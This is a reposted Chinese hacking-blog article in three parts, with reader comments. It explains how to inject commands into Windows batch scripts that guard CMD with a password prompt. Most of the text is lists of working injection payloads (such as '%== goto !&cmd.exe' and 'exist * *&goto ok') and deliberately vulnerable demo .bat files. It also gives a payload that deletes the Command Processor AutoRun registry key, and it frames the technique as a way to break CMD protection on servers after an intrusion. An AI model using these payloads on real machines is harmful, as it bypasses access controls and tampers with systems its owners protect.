Dos下的溢出--代码型的程序溢处

admin 2021年4月2日20:35:26评论37 views字数 8069阅读26分53秒阅读模式

今天看到论坛有人发,“猥琐的注入 sethc后门密码”,看到其中破解批处理加密、CMD加密的方法。

本人顿时想起四、五年前,本人还是巨菜鸟阶段,写的几篇垃圾文,讲的就是关于这个,曾在X档案论坛发过,其他地方的均为转载,还好我有保留的习惯,没有删除。

今天就拉出来“科普科普”,四、五年前的菜鸟文,勿笑……

当然,当时还很菜,现在不用这么蛋疼的“溢出”手法了,只要懂点批处理命令,很容易就绕过了……

还有,本人以前网名叫:HackerRose、HackRose,囧……

原本是三篇独立文章,分别发的,现合并为一篇,省事,正文开始……

---------------------------- ↓ Dos下的溢出--代码型的程序溢处 ↓ ----------------------------

第一节(由来篇):

前几天上网的时候,无意间看见一个给CMD加密码方法,于是试了一下还不错,于是忽然有了一个想法,能不能破解掉?于是乎,就有了以下这些东西.

上网搜了一下,发现还没有直接在CMD里破解的方法,都是绕过,或者爆破(输入"" "|"之类的符号,导致批处理出错,关闭),但是好像不行,没有一点技术含量.

看了一下密码的验证的整个过程,发现不论什么批处理,都是两条代码:"set /p pass==请输入密码:","if %pass%==hackerrose goto ok"这两句命令就不用解释了,家都明白.

现在看这个验证命令"if %pass%==hackerrose goto ok",发现不论上边输入的是什么字符都会加载到该命令里执行,那么我们能不能构建特殊代码跳过这个过程?或者加载某个特殊命令?

第二节(原理篇):

开始构建特殊代码,看看这条命令:"if %pass%==hackerrose goto ok"(如果pass='hackerrose'那么跳转到OK),不难发现,当密码正确时就会跳到OK处继续执行.

那么,我们目的就是让程序跳到OK处.开始构建溢出代码....

先看一下可以利用的地方"if %pass%==hackerrose goto ok",只有pass可以替换成任意字符,那么只有到这里做文章了.

先去掉pass,变成"if %%==hackerrose goto ok",先要完成程序的判断过程,否则这条命令不能运行,让pass=';pass%==hackerrose goto ok',则命令变成"if %pass%==hackerrose goto ok%==hackerrose goto ok",这样后面的"%==hackerrose goto ok"由于变量最后缺少一个%,不完整,所以无效.

再回过头来看看还可以加些什么...

当IF判断命令执行完后,密码错误,跳转没有实现.

看看我们加些什么可以让跳转实现,大家都知道在批处理中"&"和"&&"可以将两条命令并做一条执行.

那还等什么,赶紧给后边加上"&goto ok"试试.那么pass='pass%==hackerrose goto ok &goto ok',命令就变成了:if %pass%==hackerrose goto ok &goto ok==hackerrose goto ok. 填进去试试

溢出成功!程序成功跳到了OK标记处!简单的溢出代码就构建完成了!

第三节(深入篇)

现在,我们成功的溢出了密码的验证过程,光有这些还不够,还要深入研究下.

继续看溢出代码pass="pass%==hackerrose goto ok &goto ok",发现前面的%pass%变量就没有用,因为程序会把我们填写的溢出代码与密码比较,自然不相等了,那么直接将变量去掉,这里要注意了,变量不能完全去掉,否则前边的if判断语句不能完成命令就会出错,但是我们可以将变量名去掉,只留下%%,那么代码就变成了pass="%==hackerrose goto ok &goto ok",试一下...溢出成功!!

继续深入,既然变量名字都没了,那还跟密码比较什么?'hackerrose'干脆也去掉,代码变成:pass="%== goto ok &goto ok",试一下.....溢出成功!!!

继续深入,代码中前面的'goto ok'没有实际的作用,只不过是为了完成if的判断命令,那么跳转的标记我们可以随便改,但是注意不能留空!负责if判断命令不能完成,出错.

改成任意一个字符,只要不导致批处理出错就行了,换成'!'看看.

代码就变成了pass="%== goto !&goto ok",拿去试试....照样溢出成功!

第四节(原理篇)

搞了这么久,相信大家也都看懂了,其实我们就是利用程序过滤不严,构建了特殊代码,程序加载执行了外部代码,导致程序溢出(貌似和SQL注入很相似^.^).

其实'&'的后边不一定跟'goto ok',你也可以跟自己想要执行的DOS命令,但是只限单独命令一条.

第五节(利用篇)

这个溢出的利用其实很简单,就是破解加密的cmd的密码.某天入侵了一台服务器,提权时发现cmd加密了,就不再那么郁闷了.

用溢出代码轻松搞定!还能取消加密..还可以轻松破掉各种批处理的密码等等.....大家自己开发利用.

文章写的不好,大家见谅,不要骂我哦,如果有不足的地方,还希望高手帮忙指正... ^.^

我的QQ号:*********或者624118310

Blog: Http://blog.hackerrose.cn

QQ技术交流群:1940313

欢迎大家前来技术交流!

原始代码:

pass%==hackerrose goto ok &goto ok

第一种:

%==hackerrose goto rose &cmd.exe
%==hackerrose goto rose &goto 2

第二种:

%== goto hackerrose &cmd.exe
%== goto hackerrose &goto 2

第三种:

%== goto !&cmd.exe
%== goto ~&cmd.exe
%== goto .&cmd.exe
%== goto @&cmd.exe
%== goto $&cmd.exe
%== goto %&cmd.exe
%== goto ^&cmd.exe
%== goto *&cmd.exe
%== goto -&cmd.exe
%== goto +&cmd.exe
%== goto _&cmd.exe
%== goto '&cmd.exe
%== goto ?&cmd.exe
%== goto /&cmd.exe
%== goto &cmd.exe

终极用法:

清除密码:%== goto !

---------------------------- ↓ Dos下的溢出--代码型程序溢处:Echo篇 ↓ ----------------------------

第一节:(由来篇):

大家都知道echo是dos中的一个输出命令(具体资料可以查阅http://www.baidu.com/s?wd=echo+%C3%FC%C1%EE%CF%EA%BD%E2),昨天在发表完"Dos下的溢出--代码型程序溢处"这篇文章之后,忽然想起存一个问题,赶快拉来出来检查了一下.

大为吃惊,发现原来溢出点不再if判断命令处(if %a%==hackerrose goto ok),而在echo输出字符处(echo 你输入的字符为:%a%)!

第二节:(原理篇)

原来当我们在构建特殊代码时,if判断命令变成了“if %==hackerrose goto ok &goto ok==hackerrose goto ok”执行后出错,接下来的一个cls清屏命令又把屏幕上显示的错误抹去了,所以我没有发觉.

而接下来执行的Echo命令因为也调用%a%变量,则变成了“echo 你输入的字符为:%==hackerrose goto ok &goto ok”,执行后则戏剧性的变成了两条命令(因为&将两条命令连接到了一起),分别是:“echo 你输入的字符为:%==hackerrose goto ok”和“goto ok”,于是乎就先输出了一个“你输入的字符为:%==hackerrose goto ok”,接着后边又来了一句“goto ok”,于是乎就跳到了ok标签,结果就溢出成功了!

这个Echo命令本来是我想溢出If判断命令而写的一个回显命令,作为辅助调试溢出代码用的,结果溢出点却跑到了echo处.郁闷... ~.~

的确是个很郁闷的结果.....

第三节:(探索篇)

看了一下溢出的整个过程,发现不论在前面的%a%变量等于什么数值,只要在命令前面加上"%== goto *"(完成前面的If判断过程,否则就会在if命令处先出错),再在后边加上"&",最后再加一条dos命令,就会在echo处溢出,因为系统会认为"&"的前面和后面是两条命令,结果就会分开执行,导致程序溢出,执行了任意系统命令.

现在我们随便构建一条代码试试,比如“%== goto *&start http://blog.hackerrose.cn”成功的打开了我的Blog,看来还是个二级代码溢出!本来想只溢出if命令,结果阴差阳错来了个echo溢出,还是个二级溢出!

郁闷之极......~.~

第五节:(利用篇)

这个溢出其实也没有什么可以利用的.....

大家自己拿去玩玩吧......

其实多多研究,你就会发现,还有很多命令可以溢出的哦!

!!!演示工具和源码都可以到我的Blog下载!!!

文章写的不好,大家见谅,不要骂我哦,如果有不足的地方,还希望高手帮忙指正... ^.^

我的QQ号:*********或者624118310

Blog: Http://blog.hackerrose.cn

QQ技术交流群:1940313

欢迎大家前来技术交流!

echo溢出代码:

原始代码:
%==hackerrose goto ok &(任意cmd命令,没有括号)
%==hackerrose goto ok &goto ok

第一种:
%==hackerrose goto rose &(任意cmd命令,没有括号)
%==hackerrose goto rose &cmd.exe
%==hackerrose goto rose &goto 2

第二种:
%== goto hackerrose &(任意cmd命令,没有括号)
%== goto hackerrose &cmd.exe
%== goto hackerrose &goto 2

第三种:
%== goto !&(任意cmd命令,没有括号)
%== goto !&cmd.exe
%== goto ~&cmd.exe
%== goto .&cmd.exe
%== goto @&cmd.exe
%== goto $&cmd.exe
%== goto %&cmd.exe
%== goto ^&cmd.exe
%== goto *&cmd.exe
%== goto -&cmd.exe
%== goto +&cmd.exe
%== goto _&cmd.exe
%== goto '&cmd.exe
%== goto ?&cmd.exe
%== goto /&cmd.exe
%== goto &cmd.exe

Echo溢处演示程序.bat:

echo off
mode con cols=40 lines=5
color a
cls
title 代码型程序溢处演示  Hacker'Rose
:1
cls
set a=空
cls
set /p a=输入字符:
if %a%==hackerrose goto ok
cls
echo 你输入的字符为:%a%
echo               !溢出失败!
echo                           By:Hacker'Rose
pause
goto 1
:ok
cls
color 4
echo 提示:
echo             !恭喜你!溢出成功!
echo                           By:Hacker'Rose
pause
color a
goto 1

---------------------------- ↓ Dos下的溢出--代码型程序溢处:If篇 ↓ ----------------------------

第一节(由来篇):

昨天写的那个“Dos下的溢出--代码型程序溢处”文章有问题,具体的问题可以参考另外一篇文章“Dos下的溢出--代码型程序溢处:   Echo篇”.但是echo溢出几乎没有什么利用价值,这篇文章里我们继续研究关于if溢出的问题.

看了一下密码的验证的整个过程,发现不论什么批处理,都是两条代码:"set /p pass==请输入密码:","if %pass%==hackerrose goto ok"这两句命令就不用解释了,大家都明白.现在看这个验证命令"if %pass%==hackerrose goto ok",不论变量%a%是什么值都会加载到该命令里执行,那么我们能不能构建特殊代码跳过这个过程?或者加载某个特殊命令?

第二节:(探索篇)

看看这条If判断命令"if %pass%==hackerrose goto ok"(如果变量a等于hackerrose那么跳转到标签ok),其中%pass%处是我们可以修改的地方,那么看看我们都能做些啥子干活.先去掉%pass%,命令变成"if ==hackerrose goto ok",但是前边的if和后边的命令去不掉,那么我们就想办法构建代码跳过去.

大家先想想,if命令除了判断变量功能之外还可以干什么?聪明的大伙可能早就想到了,if还可以用来判断文件是否存在,例如:"if exist c:hacker.rose goto a"(如果存在c:hacker.rose那么跳转到标记a) "if exist c:hacker.rose a.exe"(如果存在c:hacker.rose那么执行a.exe),那么我们让a变量等于"exist c:hacker.rose goto ok"试下,溢出失败!原因是“c:hacker.rose”文件不存在.

那么我们换成一个绝对存在的文件路径试试,a="exist c:windowssystem32cmd.exe goto ok"试下,溢出成功!

第三节:(原理篇)

既然知道了方法,那么就开始构建特殊代码,把a="exist c:windowssystem32cmd.exe goto ok"代进去看看,命令变成"if a="exist c:windowssystem32cmd.exe goto ok"==hackerrose goto ok"可以看到判断的过程被我们修改成判断文件的过程,因为命令是从左向右执行的,所以当命另执行到"cmd.exe goto ok"这里时就跳到ok标记去了而后边的命令由于执行指针已经跳走了,所以被"抛弃"了...达到了我们溢出的目的.

其实"exist c:windowssystem32cmd.exe goto ok"的后边不一定跟"goto ok"可以跟任意系统命令,比如:当a="exist c:windowssystem32cmd.exe start http://blog.hackerrose.cn "(注意后边有个空格),代进去试试,怎么样?我的Blog成功的弹了出来!

第四节:(深入篇)

第一种溢出代码试验成功了,但是似乎太长了.我们来看看这跳溢出代码:"exist c:windowssystem32cmd.exe goto ok",能不能缩短一点?替换"c:windowssystem32cmd.exe"为"*"(把判断的文件设成任意文件,注:'*'是任意文件的意思),代码变为"exist * goto ok"试试.

溢出成功!怎么样?够短了吧?

看看还有没有另外的方法,将溢出代码中的"goto ok"换成"*",溢出代码变成"exist * *",试试.溢出失败!原因是:"没有后续执行的命令了",那么我们怎样才能给后边再加一条命令呢?

不要忘了上篇文章中介绍过一个好东西,在dos中"&"或"&&"可以讲两条命令并做一条命令执行,那么我们给后边再加一条"&goto ok",代码变成"exist * *&goto ok",试试看..

怎么样?溢出成功了吧?其实"&"后边你可以跟任意dos命令,比如:"exist * *&start http://blog.hackerrose.cn ",试试看...俺的博客又屁颠屁颠的奔了出来.....^.^

第五节:(利用篇)

这个溢出的利用其实很简单,就是破解加密的cmd的密码.某天入侵了一台服务器,提权时发现cmd加密了,就不再那么郁闷了.

用溢出代码轻松搞定!还能取消加密..还可以轻松破掉各种批处理的密码等等...

至于前一段时间,各大黑客网站炒得很火的给cmd加密的方法看来也不好用了,说是“即使溢出了也拿不到系统权限...”,简直是胡说,只要在执行命令之前写一句“exist * * &reg delete "HKEY_LOCAL_MACHINESOFTWAREmicrosoftCoMMand processor" /v AutoRun /f”,你丫的密码就没啦,看你丫的还装逼不!

其实还有很多利用之处,大家自己开发利用.

多多研究,你就会发现,还有很多命令可以溢出的哦!

!!!演示工具和源码都可以到我的Blog下载!!!

文章写的不好,大家见谅,不要骂我哦,如果有不足的地方,还希望高手帮忙指正... ^.^

我的QQ号:*********或者624118310

Blog: Http://blog.hackerrose.cn

QQ技术交流群:1940313

欢迎大家前来技术交流!

If溢出代码:

第一种:
exist c:windowssystem32cmd.exe (任意cmd命令,没有括号)
exist c:windowssystem32cmd.exe goto ok
exist c:windowssystem32cmd.exe cmd.exe
exist * goto ok
第二种:
exist * * &(任意cmd命令,没有括号)
exist * * &goto ok
exist . * &goto ok
exist ? * &goto ok
exist / * &goto ok
exist * &goto ok

终极方法:
清除密码:exist * * &reg delete "HKEY_LOCAL_MACHINESOFTWAREmicrosoftCoMMand processor" /v AutoRun /f

If溢处演示程序.bat:

echo off
mode con cols=40 lines=5
color a
cls
title 代码型程序溢处演示  Hacker'Rose
:1
cls
set a=空
cls
set /p a=输入字符:
if %a%==hackerrose goto ok
cls
echo 提示:
echo               !溢出失败!
echo                           By:Hacker'Rose
pause
goto 1
:ok
cls
color 4
echo 提示:
echo             !恭喜你!溢出成功!
echo                           By:Hacker'Rose
pause
color a
goto 1

参考资料:

Windows 批处理中特殊符号的作用 - 批处理、CMD中特殊符号的作用:https://lcx.cc/post/1997/

留言评论(旧系统):

梦半醒 @ 2014-01-23 10:41:03

淫才!啊淫才!

本站回复:

湿人!大湿人!

佚名 @ 2014-01-23 20:38:16

远古巨坟粗线!

本站回复:

-_-|||

depycode @ 2014-07-09 22:42:50

最后修改:2008-10-02 23:00:00 四、五年前
往前推4,5年,2003-2004年,到现在10-11年。我擦,都11年了????????核总玩黑11年????
还是说你4,5年前写的文章那时的时间是2008-10月 ????

本站回复:

额,这个 2008.10.02 指的是原文内容的书写时间,文中的“四、五年前”就是 2008.10.02。

逗比逗比逗逗小骚逼 @ 2014-07-10 20:09:19

话说我当年也在黑X看见那篇文章了。。。。
不过后来免杀去了。。。

本站回复:

当年我在黑客X档案论坛发过,还投过稿…… -_-|||

文章来源于lcx.cc:Dos下的溢出--代码型的程序溢处

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月2日20:35:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Dos下的溢出--代码型的程序溢处https://cn-sec.com/archives/317816.html

发表评论

匿名网友 填写信息